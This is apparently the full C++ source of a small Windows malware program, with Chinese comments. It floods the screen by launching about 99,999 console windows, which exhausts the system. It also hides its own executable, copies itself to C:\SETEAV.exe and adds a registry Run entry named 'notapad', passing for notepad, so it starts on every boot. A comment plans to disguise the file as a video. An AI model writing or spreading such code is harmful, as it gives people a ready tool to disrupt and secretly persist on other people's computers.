#include <windows.h>
#include "resource.h"
#include <iostream>
DWORD WINAPI myfun(LPVOID lParam);
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR nCmdLine,
int nCmdShow)
{
// LoadIcon(hInstance,MAKEINTRESOURCE(IDI_ICON1)); 加载一张大的bmp图像,伪装大视频
CreateThread(NULL,0,myfun,0,0,0); //创建线程,单线程容易堵塞
for (int i = 1; i<99999; ++i)
{
system("start"); //调出无数控制台窗口
}
return 0;
}
DWORD WINAPI myfun(LPVOID lParam)
{
TCHAR szPath[MAX_PATH]; //路径缓冲区
GetModuleFileName(NULL,szPath,MAX_PATH); //获取当前路径及文件名
if(szPath == TEXT("C:\\SETEAV.exe"))
return 0;
SetFileAttributes(szPath,FILE_ATTRIBUTE_HIDDEN); //设置隐藏属性
CopyFile(szPath,TEXT("C:\\SETEAV.exe"),FALSE); // 复制到某一个文件夹下
system("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v notapad /t REG_SZ /d C:\\SETEAV.exe"); //增加自启动项
return 0;
}